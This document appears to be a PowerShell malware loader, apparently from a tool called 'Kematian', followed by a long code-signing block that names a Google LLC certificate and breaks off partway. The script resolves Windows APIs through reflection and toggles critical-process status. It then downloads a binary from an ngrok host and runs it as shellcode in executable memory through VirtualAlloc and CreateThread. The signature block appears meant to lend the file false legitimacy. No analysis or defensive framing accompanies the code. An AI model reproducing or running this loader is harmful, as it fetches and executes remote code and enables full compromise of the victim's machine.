$ProgressPreference = 'SilentlyContinue'
function CriticalProcess {
param ([Parameter(Mandatory = $true)][string]$MethodName, [Parameter(Mandatory = $true)][uint32]$IsCritical, [uint32]$Unknown1, [uint32]$Unknown2)
[System.Diagnostics.Process]::EnterDebugMode()
$domain = [AppDomain]::CurrentDomain
$name = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$assembly = $domain.DefineDynamicAssembly($name, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$module = $assembly.DefineDynamicModule('DynamicModule')
$typeBuilder = $module.DefineType('PInvokeType', 'Public, Class')
$methodBuilder = $typeBuilder.DefinePInvokeMethod('RtlSetProcessIsCritical', 'ntdll.dll',
[System.Reflection.MethodAttributes]::Public -bor [System.Reflection.MethodAttributes]::Static -bor [System.Reflection.MethodAttributes]::PinvokeImpl,
[System.Runtime.InteropServices.CallingConvention]::Winapi, [void], [System.Type[]]@([uint32], [uint32], [uint32]),
[System.Runtime.InteropServices.CallingConvention]::Winapi,
[System.Runtime.InteropServices.CharSet]::Ansi)
$type = $typeBuilder.CreateType()
$methodInfo = $type.GetMethod('RtlSetProcessIsCritical')
function InvokeRtlSetProcessIsCritical {
param ([uint32]$isCritical, [uint32]$unknown1, [uint32]$unknown2)
$methodInfo.Invoke($null, @($isCritical, $unknown1, $unknown2))
if ($MethodName -eq 'InvokeRtlSetProcessIsCritical') {
InvokeRtlSetProcessIsCritical -isCritical $IsCritical -unknown1 $Unknown1 -unknown2 $Unknown2
else {
Write-Host "Unknown method name: $MethodName"
function KematianLoader {
param (
[Parameter(Mandatory = $true)]
[string]$kematian_modules,
[Parameter(Mandatory = $true)]
[string]$kematian_func
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -and $_.Location.Split([char]92)[-1] -eq 'System.dll' }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$getProcAddressMethod = $assem.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' }
$getModuleHandleMethod = $assem.GetMethod('GetModuleHandle')
$handle = $getModuleHandleMethod.Invoke($null, @($kematian_modules))
[IntPtr]$result = [IntPtr]::Zero
if ($handle -ne [IntPtr]::Zero) {
$result = $getProcAddressMethod[0].Invoke($null, @($handle, $kematian_func))
if ($result -eq [IntPtr]::Zero) {
$handleRef = [System.Runtime.InteropServices.HandleRef]::new($null, $handle)
$result = $getProcAddressMethod[0].Invoke($null, @($handleRef, $kematian_func))
return $result
function kematian_delegates {
param (
[Parameter(Position = 0, Mandatory = $true)]
[Type[]]$func,
[Parameter(Position = 1)]
[Type]$delType = [Void]
$assemblyBuilderAccess = [System.Reflection.Emit.AssemblyBuilderAccess]::Run
$assemblyName = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$dynamicAssembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly($assemblyName, $assemblyBuilderAccess)
$dynamicModule = $dynamicAssembly.DefineDynamicModule('InMemoryModule', $false)
$delegateType = $dynamicModule.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$constructor = $delegateType.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func)
$constructor.SetImplementationFlags('Runtime, Managed')
$method = $delegateType.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func)
$method.SetImplementationFlags('Runtime, Managed')
return $delegateType.CreateType()
CriticalProcess -MethodName InvokeRtlSetProcessIsCritical -IsCritical 1 -Unknown1 0 -Unknown2 0
$kematianthegreat = (Invoke-WebRequest -UseBasicParsing "https://ratte.ngrok.app/main/shell.bin").Content
$VirtualAlloc = KematianLoader kernel32.dll VirtualAlloc
$CreateThread = KematianLoader kernel32.dll CreateThread
$WaitForSingleObject = KematianLoader kernel32.dll WaitForSingleObject
$VirtualAllocDelegate = kematian_delegates @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr])
$CreateThreadDelegate = kematian_delegates @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr])
$WaitForSingleObjectDelegate = kematian_delegates @([IntPtr], [Int32])([Int])
CriticalProcess -MethodName InvokeRtlSetProcessIsCritical -IsCritical 0 -Unknown1 0 -Unknown2 0
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAlloc, $VirtualAllocDelegate).Invoke(
[IntPtr]::Zero,
$kematianthegreat.Length,
0x3000,
0x40
[System.Runtime.InteropServices.Marshal]::Copy(
$kematianthegreat,
0,
$lpMem,
$kematianthegreat.Length
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThread, $CreateThreadDelegate).Invoke(
[IntPtr]::Zero,
0,
$lpMem,
[IntPtr]::Zero,
0,
[IntPtr]::Zero
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObject, $WaitForSingleObjectDelegate).Invoke(
$hThread,
0xFFFFFFFF
# SIG # Begin signature block
# MIIpKwYJKoZIhvcNAQcCoIIpHDCCKRgCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCByelLk+pxUVwDp
# 6xA8OCiqgnvYl5cCoMwVEDmIArdtXqCCDhcwggawMIIEmKADAgECAhAIrUCyYNKc
# TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV
# BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z
# NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
# ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0
# JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr
# Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF
# LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F
# LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh
# 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ
# wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay
# g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI
# YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp
# QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro
# OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB
# WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+
# YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P
# AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk
# BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC
# hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v
# dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED
# MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql
# +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF
# UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h
# mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw
# YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld
# AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw
# 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP
# LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE
# QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn
# KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji
# WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq
# yK+p/pQd52MbOoZWeE4wggdfMIIFR6ADAgECAhAORBji3t423Sl0w0Q6+1zlMA0G
# CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjEwNzAyMDAwMDAwWhcNMjQwNzEw
# MjM1OTU5WjBkMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQG
# A1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UEChMKR29vZ2xlIExMQzETMBEGA1UE
# AxMKR29vZ2xlIExMQzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANGb
# hMvV+iKks4/fRGe1ivFgPJMuyhOA5uK7ECX5+iCHn3cb9i1xKBV0EbWnScR7b4tf
# bcZlLoLHPwW3vx+LJBbGJv3L4J49f5NpiNrbLnm0YaBI7CQr+lxnicvL89xV4o8r
# S0QGFhDoCnb0jR2K37eZuPW4AJsl3KhdvVGAZ4FgSrknq5NEzzXHRexIqVe5sxJy
# erjJQacXQRaXvZLfhYJmcL2JE1lBGgWJ37iHaJ9uxeTrpf56VUR4Mw+ndaJXV7me
# MIv9irYaLn7DYoj6VZaJ7pany+6V4fTRKrfOqzY0Tb3VP2oR8LCd7M1B5tOopXgk
# xX5vahozmPENeoDNpB2P/iX47m7NuUl5HnGDgxjuzpojJtWI07vS/1MK5inmBN/V
# bSluGGlbQ4zXM0BkV1aqwXimUC/LoGMapcMTii65LINU1ILZGMc5ztFvUbDkhc6C
# sZjGgCjFT0cA+lt5d6s9CHeVGTKp7p8hyAA52XaHT/Qpb+7nhLmPFYmQUs1hWAy3
# B0B+UOdmhCk0Ety4nzzh9Dk2nRBb5ZFbYnqcsBhIUE54CXEbNMrgXFfH7ugYE0dV
# hsy9LlZ7U0p/mmfZIdm4M2M9siikk3ZDgHvAIo2462Ple7xNh5dEPk3Y0eyES+Bj
# ldfkCyKPFy+9ipPxIyTwrgiNrpjJgsGdtiuOwU5PAgMBAAGjggIGMIICAjAfBgNV
# HSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNVHQ4EFgQUR6WNMFlVJRhz
# OPhbf4I1/JGc4/wwDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMD
# MIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9E
# aWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5NlNIQTM4NDIwMjFDQTEu
# Y3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVz
# dGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIxQ0ExLmNybDA+BgNVHSAE
# NzA1MDMGBmeBDAEEATApMCcGCCsGAQUFBwIBFhtodHRwOi8vd3d3LmRpZ2ljZXJ0
# LmNvbS9DUFMwgZQGCCsGAQUFBwEBBIGHMIGEMCQGCCsGAQUFBzABhhhodHRwOi8v
# b2NzcC5kaWdpY2VydC5jb20wXAYIKwYBBQUHMAKGUGh0dHA6Ly9jYWNlcnRzLmRp
# Z2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5NlNI
# QTM4NDIwMjFDQTEuY3J0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggIB
# ACsFcFAbGSp921id9HVN7ikb9iE1rPumscz5o02R8d2x5hahKFUYcd4OM/GTjmcb
# v1ZrBjZrv9GAsa38mM8H0kq2c2LX5+JtPWdcerSdn9qeTBDxs2lGQQuVtFgcxQFw
# Z4Y17w4T+EeU7w5c21tPzBhrP5vy/FeIN7W0f3Sn7uNaTkhbQD/Rqb6JhA4Hwhx3
# ZIoDtxj2vTe84XCrwR7F9nEaOI3whwKxMvUoS/eoLEUfY7WW+hRmF3lEc/+d2xb1
# E8Ie46Q75n0HTaraW+bakeXDGClXeD3cXe6erg8enxj4mtl5wjPk+eU0EhHt9j1J
# QD73jpzzIfJqpNQAxwbar5LBfLKYV3WZaT/M5fl6yE/XwEkdL9FhMdJQ5nc9IR1Z
# tLj9WFvwcsKYcG31F/MdpUbn4TlLd85NI7nNdwcDoFOtWE98hfTjpiPZJi0pRXlD
# yQJb3Md0QhozWt79zVm9vs0yDucJKMPdHC7DYU+VVPY9sRuPn0/HhqDs1Op0+xu8
# NzimaDYLa8HuPtYgel6C8i9gyFd3DT+qqddavEdNGcUeXXVExOxEQa+B3VMfpI7P
# +tdxU8RmUdPNCKkT04uBR2dAJdocr4eix8WEg0cqTW3dnJsZDcVdpu9cxmeXafQX
# m3mIbOFkp077ElPKTSsDfBp6vjtDserVtXKGt3s7K//RMYIaajCCGmYCAQEwfTBp
# MQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xQTA/BgNVBAMT
# OERpZ2lDZXJ0IFRydXN0ZWQgRzQgQ29kZSBTaWduaW5nIFJTQTQwOTYgU0hBMzg0
# IDIwMjEgQ0ExAhAORBji3t423Sl0w0Q6+1zlMA0GCWCGSAFlAwQCAQUAoHwwEAYK
# KwYBBAGCNwIBDDECMAAwGQYJKoZIhvcNAQkDMQwGCisGAQQBgjcCAQQwHAYKKwYB
# BAGCNwIBCzEOMAwGCisGAQQBgjcCARUwLwYJKoZIhvcNAQkEMSIEICPJFY/WDUVZ
# QaDbGMZeoFdS6jNzhVOaDSffot0YmRJ3MA0GCSqGSIb3DQEBAQUABIICAAgKsPHX
# dU6vzY7SwvCd8ok8SVPnHSyOZFbPC59ua9sQqHjV+T0pGQa7fcQR4t3NxQfmm+70
# BDZ5KRbfZZmo+FF4yhuX3bvrMn6toRa9rII93Kdakwdf2WgxtxkUWdsNJ+4fh8Cz
# FZJfUgX9yiMpBysxslsixD84qVQmROqTf7pwuM8Pwci+9WLNnAC3e7m/49IfMpZW
# L4/aJZY8v5ktPU2TGzXiWJWemUW7BiksqKcWKoo40XfP/+OE0pXtY7WFot57DoY+
# 6FK2HNxMf9Ylv5I+ihxDCrwaeEfOP3DSJxqtZG69Q79TcZrd/x/L59oqOokJgs9y
# nGHjgWfQshv53PwCtdZ+rl7TAtt8in86iLGgzPuU82Qyv2ScfW2DMYhbRWmx2NiJ
# zIyD38NI93KSJXeVgpqkDLwje/3EUquYLCNFKr/We9Zrg6ySrSyxvdu5JdfOxGM6
# YY7+XVIrcFLnJ8yyDtpyYsM+JJewqSKMTkbadnxDQUTP30fgB1Q78TK2YcPyVsdX
# gbJgk3URUJ51WtG4mvg+q2VwRgtUYa2EHtK7lviK7GH2zCXF1gi//dY6zv8WS73/
# 1iOmXdM3W80PoFWYgiMZfXZQKYldpEs7Kov+ltRv4ZZLCWEv54/iNlthHMeEmxlk
# Kknck67CXBAFOaL6BZcwCRjJa98/p91putHjoYIXQDCCFzwGCisGAQQBgjcDAwEx
# ghcsMIIXKAYJKoZIhvcNAQcCoIIXGTCCFxUCAQMxDzANBglghkgBZQMEAgEFADB4
# BgsqhkiG9w0BCRABBKBpBGcwZQIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIB
# BQAEIM5PS9GmMuC3Iwcv5CB3D+893a5pFZ045cb6brVCxww1AhEA6qjvei6weG0z
# aClJW5FsKxgPMjAyMzEyMjcwMTIzMTVaoIITCTCCBsIwggSqoAMCAQICEAVEr/OU
# nQg5pr/bP1/lYRYwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxFzAVBgNV
# BAoTDkRpZ2lDZXJ0LCBJbmMuMTswOQYDVQQDEzJEaWdpQ2VydCBUcnVzdGVkIEc0
# IFJTQTQwOTYgU0hBMjU2IFRpbWVTdGFtcGluZyBDQTAeFw0yMzA3MTQwMDAwMDBa
# Fw0zNDEwMTMyMzU5NTlaMEgxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2Vy
# dCwgSW5jLjEgMB4GA1UEAxMXRGlnaUNlcnQgVGltZXN0YW1wIDIwMjMwggIiMA0G
# CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCjU0WHHYOOW6w+VLMj4M+f1+XS512h
# DgncL0ijl3o7Kpxn3GIVWMGpkxGnzaqyat0QKYoeYmNp01icNXG/OpfrlFCPHCDq
# x5o7L5Zm42nnaf5bw9YrIBzBl5S0pVCB8s/LB6YwaMqDQtr8fwkklKSCGtpqutg7
# yl3eGRiF+0XqDWFsnf5xXsQGmjzwxS55DxtmUuPI1j5f2kPThPXQx/ZILV5FdZZ1
# /t0QoRuDwbjmUpW1R9d4KTlr4HhZl+NEK0rVlc7vCBfqgmRN/yPjyobutKQhZHDr
# 1eWg2mOzLukF7qr2JPUdvJscsrdf3/Dudn0xmWVHVZ1KJC+sK5e+n+T9e3M+Mu5S
# NPvUu+vUoCw0m+PebmQZBzcBkQ8ctVHNqkxmg4hoYru8QRt4GW3k2Q/gWEH72LEs
# 4VGvtK0VBhTqYggT02kefGRNnQ/fztFejKqrUBXJs8q818Q7aESjpTtC/XN97t0K
# /3k0EH6mXApYTAA+hWl1x4Nk1nXNjxJ2VqUk+tfEayG66B80mC866msBsPf7Kobs
# e1I4qZgJoXGybHGvPrhvltXhEBP+YUcKjP7wtsfVx95sJPC/QoLKoHE9nJKTBLRp
# cCcNT7e1NtHJXwikcKPsCvERLmTgyyIryvEoEyFJUX4GZtM7vvrrkTjYUQfKlLfi
# UKHzOtOKg8tAewIDAQABo4IBizCCAYcwDgYDVR0PAQH/BAQDAgeAMAwGA1UdEwEB
# /wQCMAAwFgYDVR0lAQH/BAwwCgYIKwYBBQUHAwgwIAYDVR0gBBkwFzAIBgZngQwB
# BAIwCwYJYIZIAYb9bAcBMB8GA1UdIwQYMBaAFLoW2W1NhS9zKXaaL3WMaiCPnshv
# MB0GA1UdDgQWBBSltu8T5+/N0GSh1VapZTGj3tXjSTBaBgNVHR8EUzBRME+gTaBL
# hklodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkRzRSU0E0
# MDk2U0hBMjU2VGltZVN0YW1waW5nQ0EuY3JsMIGQBggrBgEFBQcBAQSBgzCBgDAk
# BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMFgGCCsGAQUFBzAC
# hkxodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkRzRS
# U0E0MDk2U0hBMjU2VGltZVN0YW1waW5nQ0EuY3J0MA0GCSqGSIb3DQEBCwUAA4IC
# AQCBGtbeoKm1mBe8cI1PijxonNgl/8ss5M3qXSKS7IwiAqm4z4Co2efjxe0mgopx
# LxjdTrbebNfhYJwr7e09SI64a7p8Xb3CYTdoSXej65CqEtcnhfOOHpLawkA4n13I
# oC4leCWdKgV6hCmYtld5j9smViuw86e9NwzYmHZPVrlSwradOKmB521BXIxp0bkr
# xMZ7z5z6eOKTGnaiaXXTUOREEr4gDZ6pRND45Ul3CFohxbTPmJUaVLq5vMFpGbrP
# FvKDNzRusEEm3d5al08zjdSNd311RaGlWCZqA0Xe2VC1UIyvVr1MxeFGxSjTredD
# AHDezJieGYkD6tSRN+9NUvPJYCHEVkft2hFLjDLDiOZY4rbbPvlfsELWj+MXkdGq
# wFXjhr+sJyxB0JozSqg21Llyln6XeThIX8rC3D0y33XWNmdaifj2p8flTzU8AL2+
# nCpseQHc2kTmOt44OwdeOVj0fHMxVaCAEcsUDH6uvP6k63llqmjWIso765qCNVco
# Fstp8jKastLYOrixRoZruhf9xHdsFWyuq69zOuhJRrfVf8y2OMDY7Bz1tqG4Qyzf
# Tkx9HmhwwHcK1ALgXGC7KP845VJa1qwXIiNO9OzTF/tQa/8Hdx9xl0RBybhG02wy
# fFgvZ0dl5Rtztpn5aywGRu9BHvDwX+Db2a2QgESvgBBBijCCBq4wggSWoAMCAQIC
# EAc2N7ckVHzYR6z9KGYqXlswDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCVVMx
# FTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNv
# bTEhMB8GA1UEAxMYRGlnaUNlcnQgVHJ1c3RlZCBSb290IEc0MB4XDTIyMDMyMzAw
# MDAwMFoXDTM3MDMyMjIzNTk1OVowYzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRp
# Z2lDZXJ0LCBJbmMuMTswOQYDVQQDEzJEaWdpQ2VydCBUcnVzdGVkIEc0IFJTQTQw
# OTYgU0hBMjU2IFRpbWVTdGFtcGluZyBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
# ADCCAgoCggIBAMaGNQZJs8E9cklRVcclA8TykTepl1Gh1tKD0Z5Mom2gsMyD+Vr2
# EaFEFUJfpIjzaPp985yJC3+dH54PMx9QEwsmc5Zt+FeoAn39Q7SE2hHxc7Gz7iuA
# hIoiGN/r2j3EF3+rGSs+QtxnjupRPfDWVtTnKC3r07G1decfBmWNlCnT2exp39mQ
# h0YAe9tEQYncfGpXevA3eZ9drMvohGS0UvJ2R/dhgxndX7RUCyFobjchu0CsX7Le
# Sn3O9TkSZ+8OpWNs5KbFHc02DVzV5huowWR0QKfAcsW6Th+xtVhNef7Xj3OTrCw5
# 4qVI1vCwMROpVymWJy71h6aPTnYVVSZwmCZ/oBpHIEPjQ2OAe3VuJyWQmDo4EbP2
# 9p7mO1vsgd4iFNmCKseSv6De4z6ic/rnH1pslPJSlRErWHRAKKtzQ87fSqEcazjF
# KfPKqpZzQmiftkaznTqj1QPgv/CiPMpC3BhIfxQ0z9JMq++bPf4OuGQq+nUoJEHt
# Qr8FnGZJUlD0UfM2SU2LINIsVzV5K6jzRWC8I41Y99xh3pP+OcD5sjClTNfpmEpY
# PtMDiP6zj9NeS3YSUZPJjAw7W4oiqMEmCPkUEBIDfV8ju2TjY+Cm4T72wnSyPx4J
# duyrXUZ14mCjWAkBKAAOhFTuzuldyF4wEr1GnrXTdrnSDmuZDNIztM2xAgMBAAGj
# ggFdMIIBWTASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdDgQWBBS6FtltTYUvcyl2
# mi91jGogj57IbzAfBgNVHSMEGDAWgBTs1+OC0nFdZEzfLmc/57qYrhwPTzAOBgNV
# HQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwgwdwYIKwYBBQUHAQEEazBp
# MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wQQYIKwYBBQUH
# MAKGNWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRS
# b290RzQuY3J0MEMGA1UdHwQ8MDowOKA2oDSGMmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0
# LmNvbS9EaWdpQ2VydFRydXN0ZWRSb290RzQuY3JsMCAGA1UdIAQZMBcwCAYGZ4EM
# AQQCMAsGCWCGSAGG/WwHATANBgkqhkiG9w0BAQsFAAOCAgEAfVmOwJO2b5ipRCIB
# fmbW2CFC4bAYLhBNE88wU86/GPvHUF3iSyn7cIoNqilp/GnBzx0H6T5gyNgL5Vxb
# 122H+oQgJTQxZ822EpZvxFBMYh0MCIKoFr2pVs8Vc40BIiXOlWk/R3f7cnQU1/+r
# T4osequFzUNf7WC2qk+RZp4snuCKrOX9jLxkJodskr2dfNBwCnzvqLx1T7pa96kQ
# sl3p/yhUifDVinF2ZdrM8HKjI/rAJ4JErpknG6skHibBt94q6/aesXmZgaNWhqsK
# RcnfxI2g55j7+6adcq/Ex8HBanHZxhOACcS2n82HhyS7T6NJuXdmkfFynOlLAlKn
# N36TU6w7HQhJD5TNOXrd/yVjmScsPT9rp/Fmw0HNT7ZAmyEhQNC3EyTN3B14OuSe
# reU0cZLXJmvkOHOrpgFPvT87eK1MrfvElXvtCl8zOYdBeHo46Zzh3SP9HSjTx/no
# 8Zhf+yvYfvJGnXUsHicsJttvFXseGYs2uJPU5vIXmVnKcPA3v5gA3yAWTyf7YGcW
# oWa63VXAOimGsJigK+2VQbc61RWYMbRiCQ8KvYHZE/6/pNHzV9m8BPqC3jLfBInw
# AM1dwvnQI38AC+R2AibZ8GV2QqYphwlHK+Z/GqSFD/yYlvZVVCsfgPrA8g4r5db7
# qS9EFUrnEw4d2zc4GqEr9u3WfPwwggWNMIIEdaADAgECAhAOmxiO+dAt5+/bUOII
# QBhaMA0GCSqGSIb3DQEBDAUAMGUxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdp
# Q2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAiBgNVBAMTG0Rp
# Z2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBDQTAeFw0yMjA4MDEwMDAwMDBaFw0zMTEx
# MDkyMzU5NTlaMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMx
# GTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNVBAMTGERpZ2lDZXJ0IFRy
# dXN0ZWQgUm9vdCBHNDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAL/m
# kHNo3rvkXUo8MCIwaTPswqclLskhPfKK2FnC4SmnPVirdprNrnsbhA3EMB/zG6Q4
# FutWxpdtHauyefLKEdLkX9YFPFIPUh/GnhWlfr6fqVcWWVVyr2iTcMKyunWZanMy
# lNEQRBAu34LzB4TmdDttceItDBvuINXJIB1jKS3O7F5OyJP4IWGbNOsFxl7sWxq8
# 68nPzaw0QF+xembud8hIqGZXV59UWI4MK7dPpzDZVu7Ke13jrclPXuU15zHL2pNe
# 3I6PgNq2kZhAkHnDeMe2scS1ahg4AxCN2NQ3pC4FfYj1gj4QkXCrVYJBMtfbBHMq
# bpEBfCFM1LyuGwN1XXhm2ToxRJozQL8I11pJpMLmqaBn3aQnvKFPObURWBf3JFxG
# j2T3wWmIdph2PVldQnaHiZdpekjw4KISG2aadMreSx7nDmOu5tTvkpI6nj3cAORF
# JYm2mkQZK37AlLTSYW3rM9nF30sEAMx9HJXDj/chsrIRt7t/8tWMcCxBYKqxYxhE
# lRp2Yn72gLD76GSmM9GJB+G9t+ZDpBi4pncB4Q+UDCEdslQpJYls5Q5SUUd0vias
# tkF13nqsX40/ybzTQRESW+UQUOsxxcpyFiIJ33xMdT9j7CFfxCBRa2+xq4aLT8LW
# RV+dIPyhHsXAj6KxfgommfXkaS+YHS312amyHeUbAgMBAAGjggE6MIIBNjAPBgNV
# HRMBAf8EBTADAQH/MB0GA1UdDgQWBBTs1+OC0nFdZEzfLmc/57qYrhwPTzAfBgNV
# HSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzAOBgNVHQ8BAf8EBAMCAYYweQYI
# KwYBBQUHAQEEbTBrMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5j
# b20wQwYIKwYBBQUHMAKGN2h0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdp
# Q2VydEFzc3VyZWRJRFJvb3RDQS5jcnQwRQYDVR0fBD4wPDA6oDigNoY0aHR0cDov
# L2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJlZElEUm9vdENBLmNybDAR
# BgNVHSAECjAIMAYGBFUdIAAwDQYJKoZIhvcNAQEMBQADggEBAHCgv0NcVec4X6Cj
